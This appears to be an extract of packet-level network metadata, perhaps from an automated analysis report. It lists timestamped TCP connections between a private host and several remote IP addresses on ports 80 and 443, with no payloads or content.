Jul 6, 2021 14:31:22.518830061 CEST	49807	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.521572113 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.521595001 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.521615982 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.521651030 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.521666050 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.521692038 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.521706104 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.521789074 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.521833897 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.521981001 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.522119045 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.522327900 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.522377968 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.522450924 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.522495985 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523325920 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523387909 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523416996 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523452997 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523467064 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523469925 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523471117 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523515940 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523549080 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523591995 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523593903 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523624897 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523658037 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523658991 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523684978 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523689985 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523711920 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523721933 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523749113 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523756027 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523776054 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523789883 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.523808956 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.523847103 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.524122000 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.524178982 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.524243116 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.524290085 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525276899 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525307894 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525335073 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525336027 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525362015 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525365114 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525389910 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525393963 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525413990 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525424004 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525445938 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525453091 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525471926 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525482893 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525504112 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525511026 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525523901 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525566101 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525593042 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525595903 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525616884 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525633097 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525664091 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525667906 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525676966 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525686026 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525705099 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525722980 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525741100 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525758028 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525777102 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525794983 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525813103 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525830030 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525847912 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525863886 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525887966 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525911093 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525918007 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525945902 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.525954008 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525974035 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.525974989 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526000977 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526004076 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526021957 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526031017 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526041985 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526058912 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526074886 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526093006 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526207924 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526237011 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526257038 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526264906 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526276112 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526289940 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526307106 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526316881 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526324987 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526344061 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526362896 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526369095 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526379108 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526395082 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526412964 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526421070 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526438951 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526448965 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526456118 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526469946 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526496887 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526501894 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526513100 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526531935 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526545048 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526565075 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526583910 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526586056 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526617050 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526629925 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526644945 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526669979 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526674986 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526691914 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526707888 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526720047 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526740074 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526751995 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526770115 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526782990 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526797056 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526801109 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526825905 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526837111 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526858091 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526859999 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526886940 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526904106 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526916981 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.526921034 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.526957035 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.527741909 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.527787924 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.560080051 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560117960 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560147047 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560180902 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.560189962 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560204029 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560210943 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.560215950 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.560223103 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560241938 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560260057 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560295105 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560323954 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560348034 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560370922 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560395002 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560403109 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.560425997 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560436964 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.560452938 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560462952 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.560489893 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.560508966 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.560525894 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.560581923 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562467098 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562501907 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562525988 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562536955 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562550068 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562556028 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562575102 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562586069 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562597990 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562599897 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562623024 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562627077 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562638044 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562653065 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562669039 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562678099 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562686920 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562701941 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562719107 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562726974 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562733889 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562751055 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562767982 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562777996 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562782049 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562807083 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562819004 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562834978 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562850952 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562863111 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562875986 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562890053 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562911034 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562918901 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.562930107 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.562972069 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.563106060 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.563159943 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.563180923 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.563182116 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.563210964 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.563220024 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.563236952 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.563241959 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.563251019 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.563271046 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.563283920 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.563297987 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.563308954 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.563327074 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.563338995 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.563354969 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.563378096 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.563384056 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.563406944 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.563425064 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566198111 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566230059 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566248894 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566267967 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566282988 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566294909 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566310883 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566323042 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566345930 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566350937 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566371918 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566375017 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566396952 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566400051 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566416979 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566426992 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566442966 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566453934 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566473961 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566478014 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566484928 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566503048 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566521883 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566523075 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566541910 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566553116 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566564083 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566580057 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566597939 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566601992 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566613913 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566628933 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566649914 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566653013 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566673994 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566677094 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566694021 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566704035 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566711903 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566730022 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566751003 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566751957 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566771984 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566781044 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566800117 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566800117 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566814899 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566827059 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566836119 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566855907 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566874027 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566879034 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566890001 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566905975 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566924095 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566926003 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566951036 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566952944 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566972971 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.566978931 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.566992998 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.567003965 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.567023039 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.567023039 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.567040920 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.567064047 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.680614948 CEST	443	49808	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:22.680649042 CEST	443	49808	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:22.680675983 CEST	443	49808	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:22.680710077 CEST	49808	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.680757999 CEST	49808	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.680766106 CEST	49808	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.685281992 CEST	443	49807	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:22.685322046 CEST	443	49807	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:22.685354948 CEST	443	49807	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:22.685411930 CEST	49807	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.685437918 CEST	49807	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.685441017 CEST	49807	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.706670046 CEST	49808	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.706777096 CEST	49807	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.722867012 CEST	49808	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.868841887 CEST	443	49808	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:22.868926048 CEST	49808	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.876318932 CEST	443	49807	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:22.876427889 CEST	49807	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.887231112 CEST	443	49808	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:22.887348890 CEST	49808	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.887824059 CEST	49808	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.954933882 CEST	49810	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:22.954952955 CEST	49809	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:22.995678902 CEST	443	49810	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:22.995701075 CEST	443	49809	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:22.995837927 CEST	49810	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:22.996658087 CEST	49809	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:22.996926069 CEST	49810	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:22.997488976 CEST	49809	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.037522078 CEST	443	49810	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:23.037616968 CEST	443	49810	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:23.037666082 CEST	49810	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.037684917 CEST	443	49810	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:23.037695885 CEST	49810	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.037749052 CEST	49810	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.037935019 CEST	443	49809	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:23.037971020 CEST	443	49809	52.98.175.2	192.168.2.5
